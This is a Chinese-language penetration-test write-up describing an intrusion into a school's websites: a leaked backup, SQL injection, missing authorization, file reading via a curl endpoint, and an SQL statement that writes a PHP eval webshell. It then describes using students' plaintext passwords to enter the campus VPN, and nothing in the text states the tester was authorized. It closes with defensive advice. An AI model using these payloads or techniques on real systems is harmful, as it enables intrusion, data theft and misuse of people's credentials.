记一次通过代码审计完成的渗透
字数 1573 2025-08-18 11:36:36

通过代码审计完成的渗透测试教学文档

1. 信息收集阶段

1.1 基础信息收集

  • 使用百度搜索目标学校相关站点
  • 收集目标域名:example.edu.cn
  • 使用子域名扫描工具
  • 进行C段扫描

1.2 目录扫描

  • 使用railgun工具对各个域名进行目录扫描
  • 发现备份文件泄露漏洞:/www.rar 包含网站源码

2. 初步渗透尝试

2.1 备份文件分析

  • 下载并解压www.rar备份文件
  • 发现三个可疑文件,实为通过phpmyadmin全局日志备份获取的webshell
  • 尝试使用菜刀连接,但shell被删除

2.2 数据库访问尝试

  • 发现网站包含两个ThinkPHP框架的公众号后端和一个phpmyadmin
  • 从ThinkPHP数据库配置文件读取到MySQL账号:root/root
  • 尝试登录phpmyadmin导出文件获取shell
  • 失败原因:管理员发现后修改了MySQL密码

3. 代码审计阶段

3.1 项目一审计

3.1.1 SQL注入漏洞

  • ThinkPHP版本:3.1.3(仅存在注入漏洞,无RCE)
  • 漏洞位置:IndexAction类的content方法
public function content() {
    $id = $_GET['id'];
    $cate = new Model("content");
    $sql = "Select c.CONTENT_ID,... where c.CONTENT_ID=".$id." and c.status=2...";
    echo json_encode($cate->query($sql));
}
  • 漏洞利用:直接拼接用户输入的id参数到SQL语句中

3.1.2 CSRF漏洞(难以利用)

  • 发现httpGet函数存在CSRF漏洞
private function httpGet($url) {
    // 省略curl设置
    $res = curl_exec($curl);
    return $res;
}
  • 限制:由于是private方法,无法直接调用

3.2 项目二审计

3.2.1 未授权访问漏洞

  • 权限验证基类PublicAction
class PublicAction extends Action {
    public function _initialize() {
        $name = session("name");
        if(!$name){
            $this->redirect('Admin/Index/login');
        }
    }
}
  • 多个类未继承验证类:
class CommentAction extends Action
class NewsAction extends Action
class OrderAction extends Action
class SystemAction extends Action
...

3.2.2 任意文件删除漏洞

  • 漏洞位置:SystemAction类的rmdirr方法
public function rmdirr($dirname) {
    if (!file_exists($dirname)) return false;
    if (is_file($dirname) || is_link($dirname)) {
        return unlink($dirname);
    }
    // 递归删除逻辑
    return rmdir($dirname);
}
  • 利用方式:通过未授权访问直接调用该方法

3.2.3 请求伪造漏洞

  • 漏洞位置:PublicAction中的curl相关方法
public function getCurl($url) {...}
public function postCurl($url,$post_data) {...}
public function login_get($url, $cookie) {...}
public function get_content($url, $cookie) {...}
  • 特别关注postCurl方法会打印输出结果

3.2.4 文件读取利用

  • 构造EXP读取数据库配置文件:
http://wx_xxxxxx_rtm/index.php/Index/Search/postcurl?url=file://D:\WWW\wx_xxxxxx_rtm\App\Conf\config.php&post_data=1
  • 获取数据库凭据:
'DB_USER' => 'root',
'DB_PWD' => '123456789@abc',

4. 最终渗透

4.1 获取Webshell

  • 使用获取的数据库凭据登录phpmyadmin
  • 执行SQL语句写入webshell:
select '<?php eval($_GET[0]);?>' into outfile 'D:\\WWW\\1.php';

4.2 内网渗透

  • Web服务为system权限,但无法上线Cobalt Strike(已免杀)
  • 在数据库中发现学生用户明文密码
  • 使用学生凭证登录VPN
  • 发现VPN无隔离,可访问整个学校内网

5. 漏洞总结与防御建议

5.1 发现的主要漏洞

  1. 备份文件泄露
  2. MySQL弱口令
  3. SQL注入
  4. 未授权访问
  5. 任意文件删除
  6. 请求伪造(CSRF)
  7. 配置文件信息泄露
  8. VPN无隔离

5.2 防御建议

  1. 备份文件管理

    • 禁止将备份文件存放在web可访问目录
    • 对备份文件进行加密或权限控制
  2. 数据库安全

    • 避免使用root等高权限账户
    • 设置强密码并定期更换
    • 限制phpmyadmin等管理工具的访问
  3. 代码安全

    • 使用预处理语句防止SQL注入
    • 对所有输入进行严格过滤
    • 避免直接拼接SQL语句
  4. 权限控制

    • 统一权限验证机制
    • 确保所有需要权限的控制器继承验证类
    • 实施最小权限原则
  5. 文件操作安全

    • 限制文件删除等危险操作
    • 对用户输入的文件路径进行严格校验
    • 避免递归删除等危险功能
  6. CSRF防护

    • 为关键操作添加CSRF token
    • 限制curl等功能的访问权限
    • 避免直接输出curl结果
  7. VPN安全

    • 实施网络隔离
    • 使用多因素认证
    • 定期审计VPN访问日志
  8. 密码安全

    • 禁止存储明文密码
    • 实施强密码策略
    • 定期更换密码

6. 渗透测试方法论总结

  1. 信息收集是关键:全面的信息收集往往能发现意外漏洞
  2. 不要忽视明显问题:备份文件泄露等"低级"错误仍然常见
  3. 代码审计是深入渗透的有效途径:当常规方法失效时,代码审计能发现隐藏漏洞
  4. 漏洞组合利用:单个漏洞可能无法直接利用,但组合多个漏洞可达成目标
  5. 内网渗透思路:从外网到内网,从Web到系统,再到整个内网
通过代码审计完成的渗透测试教学文档 1. 信息收集阶段 1.1 基础信息收集 使用百度搜索目标学校相关站点 收集目标域名:example.edu.cn 使用子域名扫描工具 进行C段扫描 1.2 目录扫描 使用railgun工具对各个域名进行目录扫描 发现备份文件泄露漏洞: /www.rar 包含网站源码 2. 初步渗透尝试 2.1 备份文件分析 下载并解压www.rar备份文件 发现三个可疑文件,实为通过phpmyadmin全局日志备份获取的webshell 尝试使用菜刀连接,但shell被删除 2.2 数据库访问尝试 发现网站包含两个ThinkPHP框架的公众号后端和一个phpmyadmin 从ThinkPHP数据库配置文件读取到MySQL账号:root/root 尝试登录phpmyadmin导出文件获取shell 失败原因:管理员发现后修改了MySQL密码 3. 代码审计阶段 3.1 项目一审计 3.1.1 SQL注入漏洞 ThinkPHP版本:3.1.3(仅存在注入漏洞,无RCE) 漏洞位置: IndexAction 类的 content 方法 漏洞利用:直接拼接用户输入的 id 参数到SQL语句中 3.1.2 CSRF漏洞(难以利用) 发现 httpGet 函数存在CSRF漏洞 限制:由于是 private 方法,无法直接调用 3.2 项目二审计 3.2.1 未授权访问漏洞 权限验证基类 PublicAction : 多个类未继承验证类: 3.2.2 任意文件删除漏洞 漏洞位置: SystemAction 类的 rmdirr 方法 利用方式:通过未授权访问直接调用该方法 3.2.3 请求伪造漏洞 漏洞位置: PublicAction 中的curl相关方法 特别关注 postCurl 方法会打印输出结果 3.2.4 文件读取利用 构造EXP读取数据库配置文件: 获取数据库凭据: 4. 最终渗透 4.1 获取Webshell 使用获取的数据库凭据登录phpmyadmin 执行SQL语句写入webshell: 4.2 内网渗透 Web服务为system权限,但无法上线Cobalt Strike(已免杀) 在数据库中发现学生用户明文密码 使用学生凭证登录VPN 发现VPN无隔离,可访问整个学校内网 5. 漏洞总结与防御建议 5.1 发现的主要漏洞 备份文件泄露 MySQL弱口令 SQL注入 未授权访问 任意文件删除 请求伪造(CSRF) 配置文件信息泄露 VPN无隔离 5.2 防御建议 备份文件管理 禁止将备份文件存放在web可访问目录 对备份文件进行加密或权限控制 数据库安全 避免使用root等高权限账户 设置强密码并定期更换 限制phpmyadmin等管理工具的访问 代码安全 使用预处理语句防止SQL注入 对所有输入进行严格过滤 避免直接拼接SQL语句 权限控制 统一权限验证机制 确保所有需要权限的控制器继承验证类 实施最小权限原则 文件操作安全 限制文件删除等危险操作 对用户输入的文件路径进行严格校验 避免递归删除等危险功能 CSRF防护 为关键操作添加CSRF token 限制curl等功能的访问权限 避免直接输出curl结果 VPN安全 实施网络隔离 使用多因素认证 定期审计VPN访问日志 密码安全 禁止存储明文密码 实施强密码策略 定期更换密码 6. 渗透测试方法论总结 信息收集是关键 :全面的信息收集往往能发现意外漏洞 不要忽视明显问题 :备份文件泄露等"低级"错误仍然常见 代码审计是深入渗透的有效途径 :当常规方法失效时,代码审计能发现隐藏漏洞 漏洞组合利用 :单个漏洞可能无法直接利用,但组合多个漏洞可达成目标 内网渗透思路 :从外网到内网,从Web到系统,再到整个内网